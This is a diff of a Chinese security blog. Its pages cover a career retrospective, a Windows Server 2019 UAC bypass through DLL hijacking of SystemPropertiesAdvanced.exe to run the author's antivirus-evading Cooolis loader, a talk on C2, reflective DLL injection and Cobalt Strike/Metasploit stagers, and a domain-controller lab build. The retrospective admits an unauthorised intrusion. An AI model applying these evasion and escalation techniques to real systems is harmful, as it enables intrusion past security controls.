分别都拿到域控作为结束,我将文章脱敏后发出来,跨国企业的安全部负责人在安全圈看到了这个文章,通过邮箱取得联系,最后我决定删除文章,当时圈里都传遍了,朋友圈现在还有聊天记录

的确这种做法是不对的,厂商也差点报警处理,还好没有太大影响,并且我也给了修复建议,碰到了好人,运气好。

三四月份,天气开始热起来了,我已经写好简历,按照流程面试完后,准备奔赴上海找房……

四月向魔都宣告 - 我来了

完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。

谢谢我的朋友们给我的支持!

>>原文

于是在八月份写了一篇总结:

入职

在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。

工作

慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;

有应急响应、代码审计、流量分析、渗透测试等,技术的广度提升了很多,也看到了技术变现有更多的可能,唯一就是我要不断的创新、发散自己的思维。

近况

最近没有规划近期目标,让我觉得有点小焦虑,很多东西都可以一步一步来的,准备养成一个写日记的习惯。

收获

在日常和同事聊起安服的时候,都能感受到一个好的安全服务工程师应该有的素养,首先就是要符合企业价值观,稳步成长。

在和客户接触的时候,不管是售前阶段、售后阶段,都要具备良好的表达沟通能力,大企、小司你要清楚各种客户他最根本的需要,接触的多了你的解决方案才会更容易落地、更容易被认可。

“引导客户需求” 每个人都有短处,将自己的长处发挥到极致是最好的状态,这块谈的不是销售技巧,而是个人营销的技巧,在现场、电话中,要清楚的知道自己的定位,“我是一个安全服务工程师,我的职责就是给予客户的问题技术层面的解决方案。”

>>原文

现在

回首这两年,我是一个新人,对于技术有时太过于执着,会做一些没有意义的研究,会讲一些自己讲过好几次讲过的东西,我都不会耐烦,因为在吸收它们的时候,我花费的心力是我讲出来花费的心力的好几倍。

目前在这边负责安全服务相关的技术支撑,磨练了我很多的能力,也包括我的成长,今年完成了不知道多少东西,但是隐约记得一些:

最近在研究邮件相关的安全,也学习到了不少东西,准备放入下一次议题中。

最后

我接受我感情的失败、创业的失败和自己的缺点,准备勇敢的步入2019……

说实话,在敲出2019的时候,既感觉陌生又感觉在期待着什么,今天是用来告别的,可能不适合立下多么难以完成的Flag。

事事不忘初心,坚持自己,变得更强大就好,我依然是个孩子。

\ No newline at end of file diff --git a/archivers/2019-01-26/1/index.html b/archivers/2019-01-26/1/index.html index 143f0d3..8f56547 100644 --- a/archivers/2019-01-26/1/index.html +++ b/archivers/2019-01-26/1/index.html @@ -1,3 +1,3 @@ Windows 2019 Bypass (UAC、Defender) to Metasploit - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

26 -Jan 2019

Windows 2019 Bypass (UAC、Defender) to Metasploit

0x00 前言

昨天下午在小密圈看到一篇文章:https://egre55.github.io/system-properties-uac-bypass/

文中指出 SystemPropertiesAdvanced.exe 有DLL劫持漏洞,经过分析,在Windows 10下无法复现

之前也做过关于DLL劫持、Bypass UAC的议题:DLL Hijacking & COM Hijacking ByPass UAC - 议题解读

在向下阅读前,请先掌握DLL劫持和Bypass UAC的基本知识。

微信交流群,加我微信:Guest_Killer_0nlis。

0x01 Cooolis

Cooolis是我写的一个支持MSF与Cobaltstrike上线的加载器,能够100%绕过绝大部分杀软,包含国内90%以上、Windows Defender等。

之前发出了演示视频,在这里可以看到:Cobalt Strike - Metasploit Bypass AV

然后这个操作系统缺陷由于拥有自动权限提升的权限 autoElevate属性,我们可以利用它来执行Cooolis,使得Coolis上线的会话同样拥有管理员权限。

关于Bypass UAC的挖掘方法与原理,我的议题已经转化成了视频:

0x02 效果演示

Windows 2019中的C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe在运行时,会寻找srrstr.dll,这个DLL文件并不存在于:

  • C:\Windows\SysWOW64\srrstr.dll
  • C:\Windows\System\srrstr.dll
  • C:\Windows\srrstr.dll
  • C:\Windows\SysWOW64\wbem\srrstr.dll
  • C:\Windows\SysWOW64\WindowsPowershell\v1.0\srrstr.dll
  • C:\Users<Username>\APPData\Local\Microsoft\WindowsApps\srrstr.dll

在最后它会寻找C:\Users\<Username>\APPData\Local\Microsoft\WindowsApps\这个目录,而这个目录的读写是不需要触发UAC获得管理员权限来操作的。

由此,可以利用该缺陷,将Coolis转换成DLL,上传至C:\Users\<Username>\APPData\Local\Microsoft\WindowsApps\,紧接着执行SystemPropertiesAdvanced.exe,它会自动将srrstr.dll加载至SystemPropertiesAdvanced.exe进程的内存,同样的,我们也就拥有了管理员权限。

在此之前,我有想过在下列模块里做一些优化:

  • exploit/windows/local/bypassuac_fodhelper
  • exploit/windows/local/bypassuac_injection
  • exploit/windows/local/bypassuac_comhijack

我觉得COM劫持的空间还是很大的,并且也一定程度上能够bypass AV。

Demo:

0x03 总结

UAC、DLL劫持、COM劫持的问题肯定还会有很多、但是以前的轮子到现在拿起来用基本上都会被行为拦截,这就需要掌握原理去自己探索、创造。

系统镜像:ed2k://|file|cn_windows_server_2019_x64_dvd_4de40f33.iso|5086887936|7DCDDD6B0C60A0D019B6A93D8F2B6D31|/

\ No newline at end of file +Jan 2019

Windows 2019 Bypass (UAC、Defender) to Metasploit

0x00 前言

昨天下午在小密圈看到一篇文章:https://egre55.github.io/system-properties-uac-bypass/

文中指出 SystemPropertiesAdvanced.exe 有DLL劫持漏洞,经过分析,在Windows 10下无法复现

之前也做过关于DLL劫持、Bypass UAC的议题:DLL Hijacking & COM Hijacking ByPass UAC - 议题解读

在向下阅读前,请先掌握DLL劫持和Bypass UAC的基本知识。

微信交流群,加我微信:Guest_Killer_0nlis。

0x01 Cooolis

Cooolis是我写的一个支持MSF与Cobaltstrike上线的加载器,能够100%绕过绝大部分杀软,包含国内90%以上、Windows Defender等。

之前发出了演示视频,在这里可以看到:Cobalt Strike - Metasploit Bypass AV

然后这个操作系统缺陷由于拥有自动权限提升的权限 autoElevate属性,我们可以利用它来执行Cooolis,使得Coolis上线的会话同样拥有管理员权限。

关于Bypass UAC的挖掘方法与原理,我的议题已经转化成了视频:

0x02 效果演示

Windows 2019中的C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe在运行时,会寻找srrstr.dll,这个DLL文件并不存在于:

在最后它会寻找C:\Users\<Username>\APPData\Local\Microsoft\WindowsApps\这个目录,而这个目录的读写是不需要触发UAC获得管理员权限来操作的。

由此,可以利用该缺陷,将Coolis转换成DLL,上传至C:\Users\<Username>\APPData\Local\Microsoft\WindowsApps\,紧接着执行SystemPropertiesAdvanced.exe,它会自动将srrstr.dll加载至SystemPropertiesAdvanced.exe进程的内存,同样的,我们也就拥有了管理员权限。

在此之前,我有想过在下列模块里做一些优化:

我觉得COM劫持的空间还是很大的,并且也一定程度上能够bypass AV。

Demo:

0x03 总结

UAC、DLL劫持、COM劫持的问题肯定还会有很多、但是以前的轮子到现在拿起来用基本上都会被行为拦截,这就需要掌握原理去自己探索、创造。

系统镜像:ed2k://|file|cn_windows_server_2019_x64_dvd_4de40f33.iso|5086887936|7DCDDD6B0C60A0D019B6A93D8F2B6D31|/

\ No newline at end of file diff --git a/archivers/2019-01-26/2/index.html b/archivers/2019-01-26/2/index.html index 7f3201b..b805637 100644 --- a/archivers/2019-01-26/2/index.html +++ b/archivers/2019-01-26/2/index.html @@ -1,3 +1,3 @@ Visual Studio 调试DLL - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

26 -Jan 2019

Visual Studio 调试DLL

2019-01-26-18-26-19

首先这是DLL项目,找到调试选项:

2019-01-26-18-30-06

调用rundll32 来调试:

2019-01-26-18-30-47

这样就可以进行调试了。

\ No newline at end of file +Jan 2019

Visual Studio 调试DLL

2019-01-26-18-26-19

首先这是DLL项目,找到调试选项:

2019-01-26-18-30-06

调用rundll32 来调试:

2019-01-26-18-30-47

这样就可以进行调试了。

\ No newline at end of file diff --git a/archivers/2019-01-31/1/index.html b/archivers/2019-01-31/1/index.html index d7e7dc5..13bd6da 100644 --- a/archivers/2019-01-31/1/index.html +++ b/archivers/2019-01-31/1/index.html @@ -90,4 +90,4 @@ // 关闭文件 CloseHandle(hFile); } -

效果如下:

2019-01-31-16-24-59

对图片的影响只是像素级别的,不会出现缺损问题。

0x05 科普

使用CMD命令制作生成图片木马很可能会导致图片缺损,原因是有概率会覆盖掉偏移量、或者代码超出了偏移范围。

\ No newline at end of file +

效果如下:

2019-01-31-16-24-59

对图片的影响只是像素级别的,不会出现缺损问题。

0x05 科普

使用CMD命令制作生成图片木马很可能会导致图片缺损,原因是有概率会覆盖掉偏移量、或者代码超出了偏移范围。

\ No newline at end of file diff --git a/archivers/2019-03-16/1/index.html b/archivers/2019-03-16/1/index.html index 338c9c3..c5ce33e 100644 --- a/archivers/2019-03-16/1/index.html +++ b/archivers/2019-03-16/1/index.html @@ -1,3 +1,3 @@ OWASP - 吉林沙龙 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

30 -Mar 2019

OWASP - 吉林沙龙

2019年03月16日,有幸被邀请为嘉宾去吉林省长春市分享自己的议题,这个议题我在过年前就准备好了,从最初的一个想法到落地经历了一个月,这一个月学习到了不少到东西。

2019-03-30-13-40-05

我准备的议题是《后渗透与邮件安全》,内容与Bypass AV、后门有关。

2019-03-30-13-42-51

2019-03-30-13-43-23

再一次见到了亮师傅 >_<

2019-03-30-13-44-32

Bug勋章:

2019-03-30-13-45-06

是时候写几篇解读文章了:

2019-03-30-13-46-48

\ No newline at end of file +Mar 2019

OWASP - 吉林沙龙

2019年03月16日,有幸被邀请为嘉宾去吉林省长春市分享自己的议题,这个议题我在过年前就准备好了,从最初的一个想法到落地经历了一个月,这一个月学习到了不少到东西。

2019-03-30-13-40-05

我准备的议题是《后渗透与邮件安全》,内容与Bypass AV、后门有关。

2019-03-30-13-42-51

2019-03-30-13-43-23

再一次见到了亮师傅 >_<

2019-03-30-13-44-32

Bug勋章:

2019-03-30-13-45-06

是时候写几篇解读文章了:

2019-03-30-13-46-48

\ No newline at end of file diff --git a/archivers/2019-03-30/2/index.html b/archivers/2019-03-30/2/index.html index db7cc74..401bf53 100644 --- a/archivers/2019-03-30/2/index.html +++ b/archivers/2019-03-30/2/index.html @@ -7,4 +7,4 @@

0x02 C2(Command and Control)简介

C2,其含义在安全领域中意思是命令与控制,具体的技术表现为远控木马。 是一种通常用于持续控制一个或多个目标的技术手段,这个技术手段覆盖了多种网络通信(计算机交互、通信)的方式。

这个“多种”指的是有很多种方式,基于HTTP、SMTP、HTTPS、纯数据报文、….

2019-03-30-13-59-17

0x03 C2的原理

命令与控制的原理就是目标机器主动或被动的与控制端进行交互,不断获取指令执行。

交互:可能不是一个直接的网络连接

命令与控制在行为上一般需要与许多操作系统接口进行交互,例如:网络通信、文件读写、进程管理等。

0x04 后渗透平台 – Cobalt Strike

2019-03-30-14-01-17

Cobalt Strike是一个跨平台、多人协作式、红队评估后渗透平台。 它支持多人通信、权限维持、文件操作、提权、横向渗透……等多种功能,使用者只需要部署好teamserver就可以在任意平台上连接teamserver进行渗透。

https://www.cobaltstrike.com/

0x05 后渗透平台 – Metasploit Framework

2019-03-30-14-02-15

Metasploit Framework是一个跨平台、开源、较为开放式的安全评估平台。 -它支持权限维持、文件操作、提权、横向渗透、载荷生成……等多种功能,使得渗透更加灵活。

https://www.metasploit.com/

0x06 后渗透的需求

通过一些常用的平台、工具总结,我得出一些以下几个基本需求:

2019-03-30-14-03-35

这些需求就必定要形成一个跨平台支持、兼容性最好、拓展性强的框架,而大部分框架的基础模式就是如下所说。

框架基本组成

0x07 PAYLOAD进入目标机器内存的方式

在常规的渗透过程里,为了获得一定的权限,基本上绝大部分的动机都是在目标机器上的内存种执行指令,它的表现形式大部分都是一个后门、加载器等。

而进入的方式就如下:

0x08 PAYLOAD的类型

其中,大部分默认情况下,Metasploit生成的都是Stager,可以把它作为一个支持众多模块的通用加载器,而模块的表现形式就是Shellcode、DLL甚至EXE等PE格式的文件。

独立版意思就是它只有单一的功能,例如反弹一个cmd、执行一个操作系统命令。

DLL Injection,其实放在这里感觉上是不合适的,因为它只是一个PE文件,但是它能够实现一个加载器的功能,表现形式不同,所以归并到这里。

Reflective DLL injection(反射DLL注入),这个技术其实有点历史了,它是一个双刃剑也是本次议题所覆盖的核心技术,下面听我慢慢道来。

0x09 DLL Injection与DLL Hijacking的共性

DLL 劫持与DLL 注入相信看过我之前的议题,基本上都不会陌生,它们的共性就是目的相同:“DLL 注入与DLL劫持的目的都是将DLL代码载入目标进程执行的一种技术手段。”

0x10 DLL Injection与DLL Hijacking的个性

Injection:

Hijacking

0x11 Windows内存管理方式

2019-03-30-14-15-26

在32位Windows操作系统中,每个进程都拥有一个独立的线性4GB虚拟地址空间。由内存管理器将虚拟地址空间与物理内存地址进行对应。

由于内存隔离的原因所以我们才需要使用DLL注入、DLL劫持的技术使得目标进程执行我们的代码,代码在目标进程的虚拟地址空间中执行的过程中,就可以修改、读写目标进程的内存了。

0x12 实现一个DLL Injecion

说了那么多,你有实现过一个DLL注入吗?

DLL注入的流程:

DLL Injection Example

0x13 反射DLL注入(Reflective DLL injection)

这里不得不铺垫一些Windows PE格式的基本概念:

2019-03-30-14-19-33

在Windows中,所有的(exe、dll)等文件的格式都是同一套标准,例如当你双击启动一个软件的时候,操作系统会读取你双击启动的那个程序到内存去根据PE格式解析,把该加载的资源加载到位。

每个PE文件至少有以下几个元素组成:

其中DOS头中主要用来支持在DOS模式下运行,PE头主要用于标识当前PE文件的各个属性,而节表用于确定PE文件的资源、导入模块、节数据的位置等等很多信息。

每个PE文件的节表中都有一个叫导入表的一张表,这个表里指明了运行这个PE文件之前,需要加载哪些DLL模块。

举个例子:如果我写了一个程序,编译出它名为Q.exe,而Q.exe的源代码中调用了A.dll中的exec函数。那么编译器生成Q.exe的时候,会在导入表中写入A.dll这个名字,Q.exe运行时,操作系统会读取导入表,把A.dll加载到Q.exe的内存空间中,这样Q才能调用A的exec函数。

这个过程中本质上都会调用一个Windows操作系统API : LoadLibrary

因此,实现一个反射DLL注入等于实现Windows LoadLibrary

https://github.com/fancycode/MemoryModule

那反病毒软件(Anti-virus software)是如何拦截DLL注入的呢?

答案就是:Hook LoadLibrary,读取LoadLibrary的参数,定位到DLL文件进行查杀。

如果我们手动实现一个LoadLibrary,就能绕过大部分反病毒软件,从而让后渗透框架使用起来更加得心应手。

PS:实现了一个LoadLibrary还要实现一个加密通道,支持框架中的不同模块进行传输,这里可以参考Metasploit的Stager模式,不铺垫细节了。

0x14 Cobalt Strike external C2

2019-03-30-14-33-50

Cobalt Strike支持拓展C2,这个拓展C2的工作方式可谓是非常灵活,太具体细节不作介绍,我只介绍它的工作流程,可以去官网下载PDF,文末有参考文章。

工作原理:

2019-03-30-14-35-34

其中有4个角色:

流程简介:启动teamserver,加载扩展服务,在目标机器上运行控制器,控制器会向扩展服务取得PAYLOAD,写入一个管道,另外木马读取管道,运行代码,通过管道与控制器不断交互,控制器把数据反馈给扩展服务,这样就形成了一个多样化的C2。

控制器客户端与控制器通信的报文格式:

2019-03-30-14-44-02

前四个字节是数据包的大小(不包含本身),后面就是数据。

这种报文在控制与管道再到木马的传输过程中可以改变为任意应用层协议,可以是文件、内存、管道、油槽等….

Tips:在目标机器管道与控制器客户端之间的传输可以进行流量混淆,轻松绕过网络告警设备。

以下是Windows可用于进程通信的列表:

Windows 进程通信函数
文件(I/O设备)ReadFile/WriteFile
油槽CreateMailslot
管道CreatePipe
套接字socket
剪贴板OpenClipboard
文件映射CreateFileMapping

官方举的例子是通过网络文件共享。

0x15 Cooolis – Bypass AV(Cobalt Metasploit)

Cooolis是我写的一个支持Cobalt Strike、Metasploit全版本上线的加载器,这里演示以下我如何绕过的Windows Defender:

目前我已经开发出DLL版,可通过rundll32调用。

0x15 Cooolis – Bypass AV - 原理

2019-03-30-14-55-52

在Metasploit环境下,我使用了windows/patchupdllinject/reverse_tcp用于充当加载器的前半部分,建立连接后发送一个DLL过去。

2019-03-30-14-57-54

接收完毕后,Cooolis负责在内存寻找PE文件头,然后加载模块到内存空间,调用DLL Main实现上线。

2019-03-30-14-59-04

2019-03-30-14-59-10

0x16 高度安全下的APT邮服实验

这个先晾在这,部门分享完毕继续写。。。

结语

文章只做技术分享、技术交流,一切非法用途产生的后果自负。

纵览那么多后门、病毒,基本上都有一定的反病毒能力,其实大多都是使用了加密解密+反射注入的技术,增大了反病毒软件的困难。

有时间录制个视频,再讲一遍。

参考

\ No newline at end of file +它支持权限维持、文件操作、提权、横向渗透、载荷生成……等多种功能,使得渗透更加灵活。

https://www.metasploit.com/

0x06 后渗透的需求

通过一些常用的平台、工具总结,我得出一些以下几个基本需求:

2019-03-30-14-03-35

这些需求就必定要形成一个跨平台支持、兼容性最好、拓展性强的框架,而大部分框架的基础模式就是如下所说。

框架基本组成

0x07 PAYLOAD进入目标机器内存的方式

在常规的渗透过程里,为了获得一定的权限,基本上绝大部分的动机都是在目标机器上的内存种执行指令,它的表现形式大部分都是一个后门、加载器等。

而进入的方式就如下:

0x08 PAYLOAD的类型

其中,大部分默认情况下,Metasploit生成的都是Stager,可以把它作为一个支持众多模块的通用加载器,而模块的表现形式就是Shellcode、DLL甚至EXE等PE格式的文件。

独立版意思就是它只有单一的功能,例如反弹一个cmd、执行一个操作系统命令。

DLL Injection,其实放在这里感觉上是不合适的,因为它只是一个PE文件,但是它能够实现一个加载器的功能,表现形式不同,所以归并到这里。

Reflective DLL injection(反射DLL注入),这个技术其实有点历史了,它是一个双刃剑也是本次议题所覆盖的核心技术,下面听我慢慢道来。

0x09 DLL Injection与DLL Hijacking的共性

DLL 劫持与DLL 注入相信看过我之前的议题,基本上都不会陌生,它们的共性就是目的相同:“DLL 注入与DLL劫持的目的都是将DLL代码载入目标进程执行的一种技术手段。”

0x10 DLL Injection与DLL Hijacking的个性

Injection:

Hijacking

0x11 Windows内存管理方式

2019-03-30-14-15-26

在32位Windows操作系统中,每个进程都拥有一个独立的线性4GB虚拟地址空间。由内存管理器将虚拟地址空间与物理内存地址进行对应。

由于内存隔离的原因所以我们才需要使用DLL注入、DLL劫持的技术使得目标进程执行我们的代码,代码在目标进程的虚拟地址空间中执行的过程中,就可以修改、读写目标进程的内存了。

0x12 实现一个DLL Injecion

说了那么多,你有实现过一个DLL注入吗?

DLL注入的流程:

DLL Injection Example

0x13 反射DLL注入(Reflective DLL injection)

这里不得不铺垫一些Windows PE格式的基本概念:

2019-03-30-14-19-33

在Windows中,所有的(exe、dll)等文件的格式都是同一套标准,例如当你双击启动一个软件的时候,操作系统会读取你双击启动的那个程序到内存去根据PE格式解析,把该加载的资源加载到位。

每个PE文件至少有以下几个元素组成:

其中DOS头中主要用来支持在DOS模式下运行,PE头主要用于标识当前PE文件的各个属性,而节表用于确定PE文件的资源、导入模块、节数据的位置等等很多信息。

每个PE文件的节表中都有一个叫导入表的一张表,这个表里指明了运行这个PE文件之前,需要加载哪些DLL模块。

举个例子:如果我写了一个程序,编译出它名为Q.exe,而Q.exe的源代码中调用了A.dll中的exec函数。那么编译器生成Q.exe的时候,会在导入表中写入A.dll这个名字,Q.exe运行时,操作系统会读取导入表,把A.dll加载到Q.exe的内存空间中,这样Q才能调用A的exec函数。

这个过程中本质上都会调用一个Windows操作系统API : LoadLibrary

因此,实现一个反射DLL注入等于实现Windows LoadLibrary

https://github.com/fancycode/MemoryModule

那反病毒软件(Anti-virus software)是如何拦截DLL注入的呢?

答案就是:Hook LoadLibrary,读取LoadLibrary的参数,定位到DLL文件进行查杀。

如果我们手动实现一个LoadLibrary,就能绕过大部分反病毒软件,从而让后渗透框架使用起来更加得心应手。

PS:实现了一个LoadLibrary还要实现一个加密通道,支持框架中的不同模块进行传输,这里可以参考Metasploit的Stager模式,不铺垫细节了。

0x14 Cobalt Strike external C2

2019-03-30-14-33-50

Cobalt Strike支持拓展C2,这个拓展C2的工作方式可谓是非常灵活,太具体细节不作介绍,我只介绍它的工作流程,可以去官网下载PDF,文末有参考文章。

工作原理:

2019-03-30-14-35-34

其中有4个角色:

流程简介:启动teamserver,加载扩展服务,在目标机器上运行控制器,控制器会向扩展服务取得PAYLOAD,写入一个管道,另外木马读取管道,运行代码,通过管道与控制器不断交互,控制器把数据反馈给扩展服务,这样就形成了一个多样化的C2。

控制器客户端与控制器通信的报文格式:

2019-03-30-14-44-02

前四个字节是数据包的大小(不包含本身),后面就是数据。

这种报文在控制与管道再到木马的传输过程中可以改变为任意应用层协议,可以是文件、内存、管道、油槽等….

Tips:在目标机器管道与控制器客户端之间的传输可以进行流量混淆,轻松绕过网络告警设备。

以下是Windows可用于进程通信的列表:

Windows 进程通信函数
文件(I/O设备)ReadFile/WriteFile
油槽CreateMailslot
管道CreatePipe
套接字socket
剪贴板OpenClipboard
文件映射CreateFileMapping

官方举的例子是通过网络文件共享。

0x15 Cooolis – Bypass AV(Cobalt Metasploit)

Cooolis是我写的一个支持Cobalt Strike、Metasploit全版本上线的加载器,这里演示以下我如何绕过的Windows Defender:

目前我已经开发出DLL版,可通过rundll32调用。

0x15 Cooolis – Bypass AV - 原理

2019-03-30-14-55-52

在Metasploit环境下,我使用了windows/patchupdllinject/reverse_tcp用于充当加载器的前半部分,建立连接后发送一个DLL过去。

2019-03-30-14-57-54

接收完毕后,Cooolis负责在内存寻找PE文件头,然后加载模块到内存空间,调用DLL Main实现上线。

2019-03-30-14-59-04

2019-03-30-14-59-10

0x16 高度安全下的APT邮服实验

这个先晾在这,部门分享完毕继续写。。。

结语

文章只做技术分享、技术交流,一切非法用途产生的后果自负。

纵览那么多后门、病毒,基本上都有一定的反病毒能力,其实大多都是使用了加密解密+反射注入的技术,增大了反病毒软件的困难。

有时间录制个视频,再讲一遍。

参考

\ No newline at end of file diff --git a/archivers/2019-04-02/1/index.html b/archivers/2019-04-02/1/index.html index af7ebc5..2982d3a 100644 --- a/archivers/2019-04-02/1/index.html +++ b/archivers/2019-04-02/1/index.html @@ -96,4 +96,4 @@ ] } } -

紧接着就是InvokeCommand

默认情况下,我们不需要管后面的参数,如果你想权限维持的话,可以设置Timed为False,并且设置Frequency为定时任务计划表达式,执行的过程中,基本上不会拦截,因为Access Token的调用,一切都是白名单的。

2019-04-02-21-39-17

\ No newline at end of file +

紧接着就是InvokeCommand

默认情况下,我们不需要管后面的参数,如果你想权限维持的话,可以设置Timed为False,并且设置Frequency为定时任务计划表达式,执行的过程中,基本上不会拦截,因为Access Token的调用,一切都是白名单的。

2019-04-02-21-39-17

\ No newline at end of file diff --git a/archivers/2019-04-02/2/index.html b/archivers/2019-04-02/2/index.html index a05dcbb..9862271 100644 --- a/archivers/2019-04-02/2/index.html +++ b/archivers/2019-04-02/2/index.html @@ -92,4 +92,4 @@ name = 'handle' server = socketserver.ThreadingTCPServer((HOST,PORT),MyTCPHandler.Creator(name)) server.serve_forever() -

调用Creator就可以传递多余的参数。

这个问题解决了,代码都在Cooolis-ms里体现。

\ No newline at end of file +

调用Creator就可以传递多余的参数。

这个问题解决了,代码都在Cooolis-ms里体现。

\ No newline at end of file diff --git a/archivers/2019-04-08/1/index.html b/archivers/2019-04-08/1/index.html index 7dc1096..8fa5c58 100644 --- a/archivers/2019-04-08/1/index.html +++ b/archivers/2019-04-08/1/index.html @@ -1,3 +1,3 @@ 又见四月 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

08 -Apr 2019

又见四月

恍然间,我只记得好像回家过了一个年,今天又和她见面了,上一次相见,是天气很热的时候,我那时头发有些长热得来上海第二天就把头发剃光,现在回忆起来脑海里浮现着阳光、铁轨、沉重的雷神电脑背包、盖浇饭以及那件黑底白字的短袖。

今天心情略像去年的四月二十六日,我想到时候天气会更炎热,我不喜欢四月,因为好像每个四月都在别离、都在迎接蜕变,其实我骨子里是那种想安逸的人,但道理告诉我,敢拼才会更加精彩、拥抱变化才会成长。

每次经历四月的过程都有点小痛苦,这不是矫情,这是一种回味,回味“我的四月”

感恩

\ No newline at end of file +Apr 2019

又见四月

恍然间,我只记得好像回家过了一个年,今天又和她见面了,上一次相见,是天气很热的时候,我那时头发有些长热得来上海第二天就把头发剃光,现在回忆起来脑海里浮现着阳光、铁轨、沉重的雷神电脑背包、盖浇饭以及那件黑底白字的短袖。

今天心情略像去年的四月二十六日,我想到时候天气会更炎热,我不喜欢四月,因为好像每个四月都在别离、都在迎接蜕变,其实我骨子里是那种想安逸的人,但道理告诉我,敢拼才会更加精彩、拥抱变化才会成长。

每次经历四月的过程都有点小痛苦,这不是矫情,这是一种回味,回味“我的四月”

感恩

\ No newline at end of file diff --git a/archivers/2019-04-13/1/index.html b/archivers/2019-04-13/1/index.html index bfc22d2..38b9ee7 100644 --- a/archivers/2019-04-13/1/index.html +++ b/archivers/2019-04-13/1/index.html @@ -13,4 +13,4 @@ Import-Module Addsdeployment Install-ADDSForest -CreateDnsDelegation:$false -DomainMode "7" -DomainName "PAYLOADS.ONLINE" -DomainNetbiosName "PAYLOADS" -ForestMode "7" -InstallDns:$true -NoRebootOnCompletion:$false -Force:$true

0x01 配置静态IP

2019-04-13-00-08-08

设置一个DNS指向本机,因为它后面是一个域控的角色。

0x02 安装活动目录角色

2019-04-13-00-08-34

点击“添加角色”:

2019-04-13-00-08-45

必须具备两点:

单击下一步:

2019-04-13-00-09-17

勾选“Active Directory 域服务”,然后下一步:

2019-04-13-00-09-37

这里表明,后续会有安装DNS服务的过程,所以网上要先安装DNS的文章会导致域搭建失败,因为安装向导会创建一些DNS记录,以及查找域。

单击“下一步”:

2019-04-13-00-09-59

点击“安装”。

2019-04-13-00-10-08

一分钟不到就可以安装完毕,但是域的搭建还没有完成。

0x03 安装向导

打开“服务器管理器”,找到Active Directory安装向导:

2019-04-13-00-10-32

点击“dcpromo.exe”,就可以进入向导:

2019-04-13-00-10-42

好奇的可以看看高级模式,为了快速搭建,就直接下一步:

2019-04-13-00-10-57

这里说一下,“Windows NT 4.0兼容的加密算法”,指的是低版本的SMBv1客户端,在进行NTLM网络认证的过程中采用的算法较为简单,能够轻易破解;其次,未升级到SMB v2的服务器可能会受到Pass The Hash的技术手段利用、MS17-010等漏洞的危害,为了后续的学习,我们直接选择下一步,暂时不去做加固。

2019-04-13-00-11-20

目前我们只有一个域,所以直接选择第二项:“在新林中新建域”,在有域的情况下,可以将域纳入“林”中。多个域称之为“林”。

2019-04-13-00-11-29

设置“域名”:

2019-04-13-00-11-39

这里必须符合DNS对域名的名称标准规范,如我就将域名定为:payloads.online:

2019-04-13-00-11-49

点击下一步会有一个检查,等待即可,这是为了防止域冲突:

2019-04-13-00-11-58

选择林功能级别:

2019-04-13-00-12-09

为了保持向下兼容,我们选择Windows 2003的林功能级别,如果选择2008的,未来加入的域控制器必须是Windows 2008。

2019-04-13-00-12-18

单击“下一步”,选择域功能级别,上面已经解释了,是为了兼容性,我们也选择2003:

2019-04-13-00-12-29

单击下一步,此时进入DNS服务器的安装过程:

2019-04-13-00-12-42

这里是由于在“payloads.online”中没有委派关系,所以我们自建:

2019-04-13-00-12-51

单击“是”,进入选择数据库、日志、SYSOL的存放路径,这三个东西在后续的红队目录里都会介绍攻击手段以及防御方法:

2019-04-13-00-13-01

默认选择“下一步”,设置DC管理员(Administrator)密码:

2019-04-13-00-13-13

单击“下一步”,可以看到刚才的设置:

2019-04-13-00-13-24

这里你也可以导出设置,用于下次安装的时候自动配置。单击“下一步”就可以安装了。

2019-04-13-00-13-34

勾选“重新启动”,去喝杯茶,回来它就安装完毕了!

安装完毕后,会默认使用域内账户Administrator登录: -2019-04-13-00-13-47

登录进入后,会弹出“初始化配置任务”窗口,这里有关于本机的信息:

2019-04-13-00-13-57

出现域,就代表搭建完成了,域控的IP是:192.168.117.169,域名称是:payloads.online。

0x04 加入域

打开一个Windows,这里我用我的Windows 10来举例:

2019-04-13-00-14-19

首先要确保能与域控进行通信,然后将当前主机的DNS服务器设置为DC的IP:

2019-04-13-00-14-27

2019-04-13-00-14-33

紧接着找到系统属性:

2019-04-13-00-14-41

单击“网络”:

2019-04-13-00-14-52

默认“下一步”:

2019-04-13-00-15-03

既然加域嘛,肯定选择带有域的,单击“下一步”:

2019-04-13-00-15-34

这个时候你需要在域控上创建一个用户:

2019-04-13-00-15-49

主要填写“登录名”就可以了

2019-04-13-00-16-05

单击“下一步”,设置密码:

2019-04-13-00-16-14

下一步,创建完成。

此时回到Windows 10,填写好这个创建好的用户:

2019-04-13-00-16-28

2019-04-13-00-16-33

单击“下一步”:

2019-04-13-00-16-45

这里授予权限时,设置为“Users”,不然很多东西操作不了。

2019-04-13-00-16-55

单击“完成”,重启计算机。

2019-04-13-00-17-05

2019-04-13-00-17-10

此时,客户机既能上网,也能处于域环境下。

\ No newline at end of file +2019-04-13-00-13-47

登录进入后,会弹出“初始化配置任务”窗口,这里有关于本机的信息:

2019-04-13-00-13-57

出现域,就代表搭建完成了,域控的IP是:192.168.117.169,域名称是:payloads.online。

0x04 加入域

打开一个Windows,这里我用我的Windows 10来举例:

2019-04-13-00-14-19

首先要确保能与域控进行通信,然后将当前主机的DNS服务器设置为DC的IP:

2019-04-13-00-14-27

2019-04-13-00-14-33

紧接着找到系统属性:

2019-04-13-00-14-41

单击“网络”:

2019-04-13-00-14-52

默认“下一步”:

2019-04-13-00-15-03

